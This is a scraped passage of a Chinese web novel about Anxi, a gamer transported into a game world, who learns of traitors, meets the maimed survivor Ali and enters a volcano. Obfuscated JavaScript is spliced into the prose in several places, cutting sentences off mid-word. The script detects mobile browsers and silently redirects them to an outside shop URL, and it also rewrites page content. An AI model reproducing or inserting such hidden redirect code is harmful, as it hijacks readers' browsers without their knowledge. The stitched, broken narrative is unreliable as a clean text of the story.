“他们对莫艾下重手干什么？”安西指着莫艾。莫艾脱去上衣，安西才发现，莫艾身上遍布淤青，这种隐形的霸凌一定持续了好几天。 佩兰无奈地摇摇头：“仅此一次，下不为例。” 安西将这句话原封不动地送给乔森和阿德莱德：“听到没有，仅此一次，下不为例。” 这两人被安西打得七荤八素，吐了好几回，脑袋仍在嗡嗡响。此刻，看安西一眼都会心惊胆战，更不敢对安西的嚣张做出半分回应。 远征者都是舞刀弄枪的人，集训期间，闹出点小病小伤，算不得大事。教习训了几句话，也没给处分，只让安西今晚在医务室睡，照看一下三位伤员，当做赔礼道歉。 安西当另外两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陌生人恍然大悟：“哦，他啊，原本的雪山巨人王，不值一提的蠢货。正巧呢，皓白冰原离穆耶利亚官邸不远，我禀报桂威洛大人，早点把安东尼……” “安西。” “管他叫什么，早点把他处理了。”陌生人不在意地说，“绝不能让伊奇斯复活，一点可能性也不能给祂留。” 杜勒斯的语气更加谄媚：“正是呢，只有真神福光才会为世间带来希望，尘民翘首企盼福光重新照耀世间的那一天。大人，我这认知等级……” 不等杜勒斯的话说完，陌生人已明白他的意思。空气中出现一缕淡淡的焚香。 “这十盒卷烟，是桂威洛大人赏你的。”陌生人说，“这次你做的不错，伊奇斯有什么风吹草动，第一时间禀告我们。记着了么？” 杜勒斯连声称是。 走廊重归寂静，安西和莫艾悄悄溜回病床。 远征者内部有叛徒，这并没有让安西特别惊讶，什么联盟都不是铁板一块，出几个叛徒，很正常。 隔了几分钟，安西压低声音问：“他们提到的卷烟，是什么东西？” “净烟，吸这种烟，可以抑制认知等级不足带来的疯狂。”莫艾回答，“但吸食过多净烟，会导致畸变。只有福光的信徒会用这种东西。” 杜勒斯叛变的原因显而易见，他的认知等级提不上去，只能等死。投靠堕落者，获得净烟，能帮他续命。 安西继续问：“那穆耶利亚家族？” 今晚是安西第二次听到这个名字，第一次，就是偷偷潜入工作室的那一晚。 “唉，说到他们……”莫艾叹了口气，“三十年前，穆耶利亚家族还是远征者的盟友。十年前，他们不知为何成为堕落者，致力于复活福光，成了远征者的敌人。” 安西“哦”了一声，友善NPC变敌对NPC呗。他应该在游戏里玩过穆耶利亚家族的剧情，可惜他玩游戏时，遇到剧情狂点跳过，什么也不记得。 莫艾：“乌赫博什·伊奇斯若知道他们的叛变，一定很伤心。” 安西：“诶？” 并没有伤心诶。 “他们曾是伊奇斯大人的盟友。伊奇斯大人用于自戕的黄金逆十字刀，就是穆耶利亚家族炼制的。”莫艾说。 安西：……那确实非常伤心了。物理伤心。 8. 幸存者阿利 看了眼时间，已经是后半夜，安西揉揉困倦的眼：“这么晚，你怎么没睡？” 莫艾犹犹豫豫地说：“我见你没有照顾那两位病号的意思，我怕他们后半夜出事儿，一直醒着，不曾想偷听到这些事。” 安西无语至极：反派阵营怎么出了你这位圣父！ “我们应当将这件事上报教习。”莫艾说。 安西表示赞同。在什么位置，就操什么心。他们现在的身份是见习远征者，抓叛徒的事，交给高级远征者就好。 第二天早上，他们就将偷听到的内容告诉霍礼凡。霍礼凡第一次表现出玩世不恭之外的状态，他很愤怒，对安西和莫艾说一定会让杜勒斯长教训。 “我们讨伐黑泥王的任务，还能正常进行吧？”安西比较关心这件事。 霍礼凡一笑：“你不怕你出意外？很勇敢嘛。” 安西心想：尽快拿到重塑炉泥才是正事，若哪天易容面纱脱落，那才叫意外呢。 接下来的一周，安西依旧在静室躲避集训，用睡觉和看游记消磨时间，终于熬到集训结束，安西回去参加考核，毫不意外地满分通过。 出发讨伐黑泥王的前一晚，莫艾念了几十次“乌赫博什·伊奇斯”，安西认为这很不吉利。 这天晚上，安西也有些失眠。穿越和游戏毕竟不一样，游戏中，他死了就能复活。穿越后，他再厉害也就一条命，死了就是死了。 左右睡不着，两人铺了一张沙发床，躺在一起，熄了灯聊天。 “你了解桂威洛的事么？”安西问，“给我讲一讲吧。” 莫艾的声音很忧伤：“他啊，他在四年前是一段传奇，和你一样有天赋。” “成为远征者仅半年，桂威洛的认知等级，就从初阶的见习，进阶到高阶的共鸣。” 听到这儿，安西的心情好了一些。桂威洛能做到，他也能。 认知等级达到“共鸣”后，就没有发疯而死的隐患了，那时，他再找个风景如画的地方养老。 “三年半之前，桂威洛和队友一同前往穆耶利亚官邸，全队12个人，没有一个人回来。” “远征者不愿放弃桂威洛这位天才，派救援队深入穆耶利亚火山，这次，只有一个人活着回来。” “他说，桂威洛已成为穆耶利亚行刑官。” 安西回忆着“穆耶利亚行刑官”这个名字，一无所获，于是问：“行刑官是做什么的？” “用残酷的手段，将不愿信奉福光的人，强行转化为异鬼。”莫艾望着窗帘缝隙处的一缕幽光，“桂威洛为何叛变，他11名队友的下落，至今是个谜题。” 莫艾：“桂威洛最后一次露面，就是三年前，他一把火烧毁了皓白冰原，那里如今是淤泥之城。” 听完，安西在心里画了个问号，桂威洛该不会也是穿越者吧？ “他的身世呢？父母是谁，有没有兄弟姐妹？”安西问。 “桂威洛的父母也是远征者，死因不明。”莫艾说回答，“有个哥哥，也不明不白地在任务中牺牲了。唉，如今这世道，大部分人死都不知道怎么死的。” 安西身体穿越到这个世界，如果有其他穿越者，也应该是身穿。桂威洛有父母兄弟，恐怕不是他的同类。安西有点失望。 聊着聊着，两人渐渐有了困意。仅仅睡了四个小时，就艰难地爬起来，集合准备出发。 远征者公会为他们准备了八足马坐骑，速度比轨道车快很多，但骑马很累，安西等六人跑了一天一夜，到达泥沼城外缘时，两条腿酸麻得站都站不稳。 众人在泥沼城外的尖塔里修整24小时，第二天再进入泥沼之城。 远征平原的中央尖塔内，卧室、训练室、静室、工作间一应俱全，其他地方的尖塔，就没有这种条件了，连一张像样的床都找不到。 塔内，还有两具远征者的尸体，看起来是受伤过重，失血而死。 他们铺了张垫子，在死不瞑目的尸体旁沉沉睡去。刚休息了一会儿，安西就被霍礼凡叫醒。 “你跟我来。”霍礼凡说。 安西本想抗议，但看霍礼凡的神情严肃又沉重，似乎在思考着什么重要的事，又把话咽了回去，默默裹上黑袍，跟他一起离开尖塔。 “教习，发生什么了？”安西问。 霍礼凡翻身上马，拍拍马背，示意安西坐在他后面。 八足马飞驰，风声呼啸。霍礼凡的声音石头一般，沉甸甸的：“你知道桂威洛么？” “听说过！”安西在风中大喊，“他是远征者的叛徒……” 话没说完，霍礼凡打断他：“桂威洛是不是叛徒，至今仍没有定论。他也有可能被穆耶利亚家族胁迫了。” 安西：……并不关心，只想回去睡觉。 “我们要去哪儿？”安西问。 霍礼凡揪了一下马鬃，八足马再次加速，速度可以和跑车一较高下：“我带你去见一个人。” 两小时后。 安西24小时没合眼，又坐在八足马上颠簸，脑浆都要摇匀了，霍礼凡终于驻马，仰面四处顾盼。 安西也跟着到处看，一片荒原，啥也没有。 “到底去哪儿？” “稍等，”霍礼凡翻身下马，展开羊皮纸地图，“我看看该往哪儿走。” 安西：……你不会迷路了吧。 “去风暴城……要往回走……从呼啸峡谷穿过去……”霍礼凡一会儿看看地图，一会儿抬头看看周围，嘴里念念有词。 安西满脸黑线：“去风暴城是吧，你为什么不早说？！” 这块区域，安西在游戏里地毯式探索过，地图全解锁，霍礼凡若是早说去风暴城，犯得着走错路么？ “上来，我骑马。”安西没好气地挪到前面的鞍座上，挽起缰绳。 霍礼凡将信将疑：“你认得路？” 安西没回答，等霍礼凡一上来，就揪住马鬃，把速度拉到最大。 八足马跳跃能力很强，还会三段跳，驮着两个人一路飞檐走壁，登上山脉，如飞梭般穿越密林。 “这条路不对吧，地图中没标注！”霍礼凡在身后大喊。 安西没回话，心想：你们手绘的地图，哪比得上我的实时导航。 他的视野左上角，有一个只有安西能看到的地图，还标注了安西、霍礼凡还有莫艾等人的位置。 他抄小路，不到半小时，就从层层叠叠的林叶间，看到风暴城的高墙。 “到了。”安西在断崖处驻马。 霍礼凡大吃一惊：“你来过这里么？你怎么知道这儿有一条小路。” 安西总不能告诉霍礼凡他有系统地图。霍礼凡连“系统”是什么都不知道，只好说：“在静室感知神谕的那半个月，那谁给我了启示。” 霍礼凡：“乌赫博什·伊奇斯？” ……我们就是要去讨伐BOSS的，不要说这个不吉利的名字好不好！ 二人下了山，来到风暴城外。 风暴城占据了整个山头，依地势而建，起伏错落，气势恢宏。令安西惊讶的是，风暴城里还有居民。 居民人手提着一个菜篮子，刚上山采完野菜，衣着打扮简陋但干净，看得出来，贫苦但没有性命之忧。 安西玩游戏时，几乎见不到活人，零星几个NPC，更别提普通居民了。 “感恩乌赫博什·伊奇斯，”霍礼凡望着居民们的背影，唏嘘道，“他清剿了风暴城的异鬼，如今，这里是一处庇护所。” 二人进了城，霍礼凡的脑袋像装了转轴一样，四处观望，没路过一个居民，他都要侧过头打量一番，似乎在找什么人。 安西：“教习，你还没说带我来做什么呢？” “我想和你一起，从风暴城绕路去泥沼城，中途去一趟穆耶利亚火山。”霍礼凡又把脑袋凑到一个过路的居民面前，吓得那个居民紧紧护着野菜篮子，缩着肩膀溜走。 风暴城、穆耶利亚火山、泥沼城这三个地方，在系统地图上的方位排布呈倒“品”字。 北偏西是风暴城，北偏东是穆耶利亚火山，火山下方，就是泥沼城。 从风暴城绕路，可以直接跨过整片沼泽，到达黑泥王所在地。 霍礼凡：“泥沼城的路，几十里的沼泽，走起来很费力，沿途一堆杂碎异鬼，你又不需要用杂碎异鬼训练战技，不如跟我绕路，直接去找黑泥王。” 安西想到半个月前在工作间偷听到的内容，霍礼凡和佩兰商量好，霍礼凡中途要去穆耶利亚官邸，见桂威洛一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍礼凡：“唯一活着回来的救援队队员，他叫阿利。我有事想问问他” 桂威洛和他十一个队友进入火山后，人间蒸发一般，远征者公会曾派出救援队，但只活着回来一个人。 “幸存的救援队队员也是远征者，为什么不在远征平原，而在这里？”安西问。 话音刚落，耳边一阵鬼吼鬼叫，安西不由得被吸引了注意力。 一个瘦若骷髅，皮肤青黑、披头散发、状若厉鬼的人，以一种奇怪的姿势，手脚并用地在街上乱爬。 路过的居民，并不怕那疯子，反而有些怜悯和哀痛，几个人还想把野菜和清水往疯子嘴里塞，让那人吃点东西。 疯子的脖子上，挂着一个青黑色的吊坠，逆十字刀吊坠。 安西心中一阵感慨：疯子是远征者，认知等级提不上去，变成这副模样。 “一个远征者发疯，会加速周围人的疯狂。”霍礼凡的声音中听不出情绪，“大部分远征者会在发疯之前，会离开远征平原，到别处度过余生。” 二人已走出很远，仍能听到那疯子的吼叫，安西忍不住地想，那人发疯之前，是不是像莫艾、像他所有同伴一样，斗志昂扬，令人艳羡？ 如今，却变成这副模样…… 霍礼凡：“我们要找的幸存者，也快发疯了，他半个月前的一天晚上，他离开远征平原，没和任何人告别。我前几天得到消息，阿利目前在风暴城。” 安西听完，心里更不是滋味：半个月前，安西成为远征者。 明明是同一个时间段的事，他竟一点消息也没听到。可知有多少远征者，像阿利一样，悄无声息地离开远征平原，离开这个世界，没有告别，也没有葬礼。 拐过街角时，安西下意识地回头看了一眼，两名居民已掰开疯子的嘴，正往他嘴里灌清水。 不知为何，安西觉得一切仍有希望。 绕了好一会儿，终于找到幸存者阿利。他侧躺蜷缩在破屋的角落里，盖着一张脏旧到看不出颜色的毯子。 “阿利。”霍礼凡在他身边蹲下，拍了拍那人的肩膀。 蜷缩的身躯颤动了一下，阿利缓缓抬起头。 他侧躺着时，看不出什么，当他抬起脸，安西尽力控制自己的表情，但还是忍不住皱了皱眉。 阿利的半张脸被烧焦，全白的眼球萎缩到指甲盖那么大，被烧伤的皮肤已腐烂感染，蛆虫在肌肉和眼眶里扭动。 9. 炼狱 “阿利……”霍礼凡声音喑哑。 阿利喉咙里发出嗬嗬的声音，这时，安西才发现，他嗓子毁了，说不了话。 那只皮肤被烧焦的手，从破枕头底下拿出一个笔记本。阿利身上脏，笔记本却保存得完好无损。 他在纸上写：怎么了？ “还是桂威洛的事，我不相信他背叛了远征者。”霍礼凡垂下眼，不忍去看阿利爬满蛆虫的脸。 霍礼凡：“再告诉我一些细节吧，你见到桂威洛时，他是什么状态？跟你说过什么？桂威洛特别能吃但不长肉，他成为行刑官之后，胖了还是瘦了。” 阿利将笔记本翻到最前面的几页，点了点“我见到了桂威洛”这一行字。 “我见到了桂威洛……” 救援队全员被活捉，押送到穆耶利亚官邸。穆耶利亚家主，罗佳·穆耶利亚冷冷地看着我们笑，他让仆人去监狱请行刑官过来。 穆耶利亚行刑官恶名在外，他们精通各种惨绝人寰的酷刑，令人闻风丧胆。那一刻，我心如死灰，我知道我无法死得痛快了。 仆人去了很久还没回来，或许是我太绝望了，总之，我觉得我等了很久。 我盯着地毯上的花纹，想着我会经历怎样的酷刑，想着我在远征平原的小卧室……直到，我的视野中出现一双皮鞋。 顺着皮鞋往上看，我心花怒放：“桂威洛！我就知道你还活着。” 下一秒，罗佳·穆耶利亚的话令我如坠冰窟：“行刑官，动手吧。就在这里将他们处决。” 桂威洛俯视着我，我之前竟从未发现，他浅灰的眼睛看起来如此冰冷。 “留一个活口，让他回远征者尖塔报信，”桂威洛接过仆从送来的手帕，慢条斯理地擦去双手的血迹，“免得他们隔三差五地来，扰人清静。” 罗佳悠闲地坐在桌边喝茶：“就你了。” 罗佳指了指我。 “感谢您光临寒舍，不远送了，麻烦您回去告诉远征者塔主，桂威洛现在是我的行刑官，塔主也是体面人，不要惦记别人的奴隶。” 两名武士架着我，把我扔出官邸客厅，我大喊着同伴的名字，大喊着桂威洛的名字，冲了回去。 这时，桂威洛向指尖呵了一口气，将食指和中指按在格尔查纳眉心。 金红色的火焰从桂威洛指腹下蹿出，仅仅一秒钟，就将格尔查纳吞噬。 等我扑过去时，火焰已蔓延至其余18名远征者身上，他们撕心裂肺地惨叫，而罗佳发出令人胆寒的笑声。 火舌燎到我的脸颊，我这辈子从未体验过这种疼痛。那不是一般的火焰，我捂着脸在地上打滚，那一刻我竟觉得，烧伤痛比我转眼间失去19个队友的痛更严重。 金红色的火焰没有在我身上蔓延，因为桂威洛像毒蛇一样嘶地吸了口气，火焰滑进他的喉咙。 “您慢走。”桂威洛没有任何感情地说。 我边哭边往19名队友那里爬，他们完全被烧成灰烬了，骨灰中只有19条逆十字刀吊坠。 我哭着把项链一条一条地捡起来，向桂威洛咆哮，这时我只能发出动物般的咆哮，因为我的喉咙被烧坏了。左眼逐渐变得模糊，我想，我的眼睛也被烧坏了。 我想对桂威洛说：我们当你是朋友啊，我们是来救你的。 桂威洛甚至没回头看我一眼，他披着红色斗篷的背影，消失在通往地下室的楼梯口。 记录到这里结束。 阿利在边角处写下：只有这些。 这几页纸被多次翻阅，墨水被蹭花，纸张变得薄而脆。安西注意到，阿利的字很漂亮，龙飞凤舞，行云流水，赏心悦目。 霍礼凡读了一遍又一遍，指着其中的一行：“桂威洛刚出现时，手上有血迹？” 阿利翻到新的一页，写下：嗯，他脸上也溅了血。 霍礼凡像抓住什么救命稻草一样：“有没有可能，桂威洛受伤了，他被罗佳拷打过，手上和脸上才有血迹？” 安西心想，偏心偏到姥姥家去了，桂威洛是行刑官，他身上的血迹，怎么想都更可能是拷打别人时，溅上了别人的血吧？ 阿利指了指“让仆人去监狱请行刑官过来”这句话，意思是：桂威洛来见我们之前，在监狱审讯其他人，这才溅了血。 霍礼凡领悟到阿利的想表达的内容，眼中的光芒再度熄灭。 一旁的安西却蹙了蹙眉头，他第一遍阅读记录时，没有注意到这句话，阿利强调了一遍，让安西想起一个细节：穆耶利亚官邸，有一条密道通往【炼狱】。 炼狱这块地图极其恶心，路线堪比迷宫+跳跳乐+熔浆地形伤害+藏在角落里的怪物搞偷袭，给安西留下极为深刻的印象，他至少在炼狱里死了30次。 游戏的设定中，炼狱关押的是背叛福光的异鬼。 而异鬼的血液都是黑色的。 “桂威洛身上的血迹，是红色还是黑色？”安西问。 红色。阿利写。 霍礼凡忙问：“怎么了，有问题么？” 安西沉吟片刻，摇摇头：“我就随便问问。” 穿越后的世界，发展了30年，未必与《至高秩序》的游戏设定处处相同。30年前，炼狱只关押异鬼，30年后，关押一些人类，也没什么问题。 此外，桂威洛投靠罗佳，罗佳是堕落者，怎么会容忍身边有个曾经是远征者的人类？桂威洛一定会被罗佳转化为异鬼。高级堕落者能维持人类的形态，外观上分辨不出来。 如果是桂威洛受伤，血液更可能是黑色。 霍礼凡翻来覆去读着每一个字，似乎多读几遍，桂威洛就会凭空出现在他面前说“我没有叛变”。 阿利指了指安西，又在纸上写：新人吧，你叫什么名字？ “安西。” ：刚共鸣成功？ 安西点点头。 ：我和霍礼凡是同一届，如果我没被桂威洛的火焰灼烧过，我应该不会这么快发疯。我会成为你的教习。 安西心里很不是滋味，小声唤了句：“教习……” 阿利很开心，拍了拍自己的胸脯，又指了指霍礼凡，继续写：给你看看我们的合照。 他迅速从笔记本中找出一张合照，举到安西面前。 四年前的霍礼凡和现在相比，变化不大，只是眼神更清澈，更愚蠢了一些。他搭着一个人的肩膀，呲着一口大白牙，笑得很开心。 “他就是桂威洛。”霍礼凡指着被他搭着肩膀的人说。 桂威洛是个美男子，长眉细目，笑得很腼腆，有些男菩萨似的宝相庄严。 安西总觉得在哪儿见过他，又或许他长得太像菩萨了，安西玩中国古代武侠游戏时，见过许多与桂威洛面容相似的佛子。 正回忆时，阿利点了点最前排的一个人，又拍拍自己的胸脯。 最前排的那个人，火焰般的红发，面容俊朗，健康阳光的小麦色皮肤，和一群姑娘挤在一起，头上戴着个花环，发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584255|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝间也编着花藤。 其他人都规规矩矩地穿着远征者战斗服，只有这个人穿了件绣着草木花边的无袖白袍，胳膊的肌肉上还涂着闪粉。 阿利向安西做口型：我。 安西的心脏顿时像被死死攥住一般难受，眼前的人半张脸毁容，另外半张脸瘦得脱相，头发被烧光，和照片中的人，哪有半分相似。 “真帅。”安西勉强笑着说。 “那当然了，阿利异性缘是这个。”霍礼凡比了个大拇指，“查理斯暗恋的女人，和你玩得特别好，气得查理斯想和你决斗，都约好时间了，查理斯死在暮林的任务中。你记不记得了？” 阿利笑得特别开心，嗓子里发出咯痰似的声音。 但霍礼凡的笑容渐渐消失，安西注意到，他眼角有些泛红。 “我这就去穆耶利亚火山，找桂威洛问个明白。”霍礼凡拍了拍阿利的肩膀，“如果桂威洛真的叛变了，我就替你出一口恶气。” 阿利摇摇头，很慢，很认真地写下：我不恨桂威洛。 霍礼凡：“为什么？” 阿利：你看看我的模样，做远征者有什么好？ 霍礼凡手指一颤，他沉默许久，从腰包里拿出一个木盒子：“对你有用。” 安西闻到淡淡的焚香味，这是一盒净烟，只有福光的信徒才会使用，他不由得惊讶地瞟了霍礼凡一眼。 阿利摇摇头：我活够了。 离开阿利的破屋，安西忍不住问：“教习，你……” “净烟的事，对吧。”霍礼凡抽出一只卷烟，夹在手里，想了想，又放了回去，“从杜勒斯房间里搜出来的，他们想泡水，我偷偷留了一盒。” “如果净烟能缓解疯狂，给阿利这样的濒死之人使用，有何不可。” 安西觉得有点道理。 “别说出去。”霍礼凡揉了一把安西的头发，“还有，以后别叫我教习，我们是朋友。” 虽没找到关于桂威洛更多的线索，但安西默默记住了一个细节：红色的血迹。 他打开系统地图，找到炼狱的部分，很好，地图全解锁，有机会的话，他要去炼狱里探一探究竟。 穆耶利亚火山终年高温，现在还是夏季，进入火山，需要准备降温护符、防火服、防岩浆灼烧的靴子等一系列道具，霍礼凡准备了一些，但还不全。 二人找到一个流浪商人，在他那里补全了道具装备。 商人名叫古莫，性格不太好，完全不懂和气生财的道理，他发现霍礼凡急用道具，一个劲地抬价，霍礼凡懒得和他计较，用两倍的价格购买。 收了高价，商人古莫眉开眼笑，一双老鼠眼里闪着精光：“远征者大人啊，我建议你们晚上再进入火山，白天温度太高了。” 不用他提醒，霍礼凡也知道应该晚上进火山。他和安西30个小时没合眼了，先找了间空屋子睡觉。 风暴城人流混杂，安西觉得道具和装备很容易被偷走，便趁霍礼凡睡着，把自己的装备收进系统仓库。 刚睡了一会儿，安西感觉有人在扯他的枕头，他将眼睛睁开一条缝，只见天光正明，霍礼凡睡得直打呼噜。 什么人？ 安西翻身弹起，扼住那人的喉咙，砰一声把他压在地板上。 定睛一看，竟然是商人古莫。 “远征者大人，饶命饶命！”古莫连声大喊。霍礼凡被吵醒了。 安西呵地笑了一声：“古莫，你想偷东西？” 10. 没有血条的无脸人 古莫连声喊着饶命。被吵醒的霍礼凡打开包裹一看，登时被气笑了：古莫做商人不得其法，做窃贼，倒是懂得盗亦有道。 包裹中，除了进入火山必需道具、装备、饮用水和武器之外，其他东西都被古莫偷了个干干净净。 “小的只想谋财，不想害命。远征者您大人有大量，饶小的一条贱命吧！”古莫可怜巴巴地说。 霍礼凡本来也没想杀他，只把自己的东西取回来：“不跟你计较，你滚吧。” 古莫不滚，眼巴巴地看着霍礼凡的财物，其中有一大块熏肉。他咽了咽口水：“远征者大人，我献给你一个情报，你赏我点吃的吧。” 霍礼凡不屑：“我是远征者，直面异鬼，你躲在远征者背后偷鸡摸狗。有什么情报，我不知道，你反而知道？” “这就是您瞧不起人了！”古莫急了，“小偷怎么了？我偷过穆耶利亚官邸，你偷过么！” 霍礼凡还真没偷过，他甚至没进过穆耶利亚火山。他此行就是要进穆耶利亚官邸，闻言，起了兴趣：“那你讲来我听听。” 古莫装模作样地咳嗽两声，随后压低声音：“那天我去偷穆耶利亚官邸，藏在暗处，听到有一个男的说：‘皓白冰原的雪山圣湖有‘冻结之力’。” “这算个球的情报。”霍礼凡哼地一笑，“雪山就在火山旁边，若没有冻结之力，雪山早就化了。” “听我继续往下讲啊。”古莫说，“我听到人声，在暗处一瞧，那人穿着穆耶利亚家主的衣服，那男的应该是罗佳·穆耶利亚。” “罗佳身边，还有个贵族打扮的男人，我不认得他。” 古莫又咳嗽两声：“罗佳拿鞭子抽那个男人，死命地抽，边抽边说：‘能不能把圣湖的事办明白’。那男人被打得呀，血淋淋的，但一声也没叫唤。” 听到这儿，安西忙问：“什么颜色的血？” “红色，怎么了？”古莫说。 安西摇摇头，没说什么，古莫继续往下讲：“第二天，冰原就被烧了。” 二人听得全神贯注，古莫却不往下讲了。 “然后呢？”霍礼凡问。 古莫：“没了。” 霍礼凡嗤笑：“这情报我们也知道啊，罗佳想吃圣湖冰鱼，雪山巨人王不肯给，他一怒之下派行刑官桂威洛烧了整片皓白冰原。” 这一口气，说出好多个名字，听得古莫一愣一愣的。古莫这样的普通人，接触不到异鬼，理不清各个区域的关系，更不知道什么“行刑官”“圣湖冰鱼”，张了张嘴，不知说什么好。 “被罗佳鞭打的是个贵族。”古莫固执地强调，“罗佳怎么会为冰鱼这种小事，鞭打贵族。” 罗佳此人，如野兽般凶残傲慢，就算他真为了没吃到冰鱼而鞭打贵族，也不令人意外。 霍礼凡又困又累，不耐烦地摆摆手：“行了行了，拿着熏肉，走吧。” 古莫接过熏肉，却没有开心的模样，一双小眼睛一个劲地瞟着安西。 安西：？ “我也该给你块熏肉呗？”安西笑问。 “不是熏肉，而是……”古莫斟酌着说，“远征者大人，您的行李放哪儿了？我刚才翻了老半天，没找到你的行李，我以为你放枕头底下了，这才去扯你的枕头，却惊醒了你。” 安西心想：麻烦喽。 他睡觉之前，把所有东西都收进系统仓库了，古莫当然找不到。 古莫的话，也提醒了霍礼凡，他掀了掀安西的枕头和毛毯，空的。 “你的东西呢？”霍礼凡问，“古莫，是不是你偷了，不肯拿出来？” “胡说！我要是偷到了，去扯他的枕头干什么！” 房间里杂物很多，安西一边喊着“等我想想我放哪儿了”，一边悄悄移动到杂物堆积的角落，从系统仓库中取出包裹，塞进一张破桌子底下。 “在这儿呢。”安西拍了拍桌子。 见装备没丢，霍礼凡松了口气，古莫却较真起来：“不可能，我搜过这张桌子，什么都没有！” 安西无辜摊手：“明明就摆在这儿，你没看到。” 古莫又气又急：“你在质疑我做小偷的能力么？我行窃30年，全靠偷窃活到现在，如果东西就在桌子底下，我不可能没看到！” 安西：……还得表扬你呗？ 霍礼凡懒得和他掰扯，把古莫推了出去，房间内总算安静。 拿着熏肉离开，古莫一步三回头，一个劲地嘟囔着“奇怪，真奇怪啊”。 见到另一群流浪商人，古莫拉着他们讲了一遍偷安西行李的经过。 “还有宝贝能藏到你找不到的地方？”那群流浪商人吃惊。 古莫气得跺脚：“不是我没找到！桌子底下什么东西都没有，那小孩走过去之后，东西才出现的！” 有人大笑：“怎么可能呢？看那小孩的制服，只是个见习远征者啊。他还能让行李凭空消失，再凭空出现？” 古莫笃定道：“就是这样，凭空消失，凭空出现！” “不可能，那小孩等级不够。”另一人接话，“中级认知等级分为窥视、观测、蒙昧。中阶二段的【观测】等级才能初步掌握空间法术。” “你怎么知道？” “上次做生意，一位远征者告诉我的，”那人回答，“霍礼凡的认知等级，只是中阶一段的【窥视】，学生比教习的认知等级高？” 古莫拧着眉头，思索片刻：“这小孩的认知等级至少达到了中阶二段。他隐瞒了自己的实力。” * 房间内，安西并不知道他从初阶一段被超级加倍至中阶二段，实力赶超自己的教习，他还在琢磨古莫的情报。 “安西，你很关心血液的颜色。”霍礼凡问，“怎么了？” “我在想，被罗佳鞭打的那个人，会不会是桂威洛。”安西回答。 霍礼凡的眼中有一丝微弱的希望光芒：“我多希望桂威洛心志未改，只是受到逼迫，但仔细想想，可能性不大。” 堕落者中，行刑官的地位仅次于家主，退一步说，纵使罗佳暴戾恣睢，行刑官身为堕落者中的高层，地位尊崇，他也应保有基本的体面，不至于像鞭打畜生那样鞭打桂威洛。 此外，桂威洛定然被转化为异鬼，否则，罗佳不会把行刑官的重任交给他。而异鬼的血是黑色的。 安西蹙着眉头钻进毯子里：“那古莫提到的贵族，能是谁呢？” “估摸着就是一个仆从。”霍礼凡说，“当仆从的，资质太差，无法转化为异鬼。” “罗佳派仆人去雪山圣湖要冰鱼，仆人没把冰鱼带回来，罗佳暴怒。像古莫那样的人，见到个衣着干净整洁的，就会认成贵族。”说完，霍礼凡也躺回去，继续睡觉。 安西总觉得哪里奇怪，他很想把炼狱的事告诉霍礼凡，话到嘴边，又保持沉默。 炼狱的存在，是穆耶利亚家族中的秘密。家族低级成员、普通仆从都不知道，安西无法解释信息来源。 * 休息到晚上，二人收拾行李，正式进入穆耶利亚火山。 刚走到火山山脚，安西就有点后悔了。即使是深夜，扑面而来的热浪也会令人呼吸困难。 更别提泡在熔浆里，面目狰狞的异鬼，他们察觉到远征者的气息，就会咆哮着扑上来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584256|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无需与异鬼正面交手，只是异鬼扑过来时带起的熔浆，就足够令人心惊胆战。 八足马进入火山会受惊，二人只能靠两条腿赶路，霍礼凡一边用法术保护安西和他自己，一边慌忙逃窜。 狂奔一个多小时，安西终于找到密道的入口，是一个隐蔽山洞。 他拽着霍礼凡，飞扑进去。异鬼体型大，钻不进来，二人提着一口气，往深处跑了数百米，才敢停下来喘息。 “这是哪儿啊？”霍礼凡环顾四周。 安西一口气喝掉水囊里的一半水：“通往穆耶利亚官邸的密道。” “既然是密道，你怎么知道？” “那谁的指引。”安西不想多解释，他休息得差不多了，点亮腰间挂灯，观察周围的环境。 还记得上一世玩游戏时，密道里也有一个BOSS，击败BOSS才能进入官邸。 那只BOSS是什么来着？哦，一条大鳗鱼，在熔浆池里不断翻滚，要一边躲避飞溅的熔浆，一边使用冰系远程攻击射击鳗鱼的鳃。 鳗鱼搅动时喷溅出的熔浆，落在地上还会变成小怪。安西边打边骂：你是女娲么？甩几个熔浆点子就能变成人？？ 他玩游戏时，把女娲鳗鱼打死了，现在，密道里没有BOSS了……吧？ 安西走出山洞，眼前豁然开朗，是一个圆柱形大石窟。直径超过百米。脚下二十多米深的地方，熔浆翻滚，向上望去，石桥交错纵横，密密麻麻如同蛛网。 想起来了，从这里往上爬，会进入BOSS房，穿过BOSS房就是官邸地下室。 从这里往下跳，底部的熔浆是幻象，只会带来灼烧痛，不会造成伤害。熔浆池下方就是炼狱。 开始吧，爬爬乐。 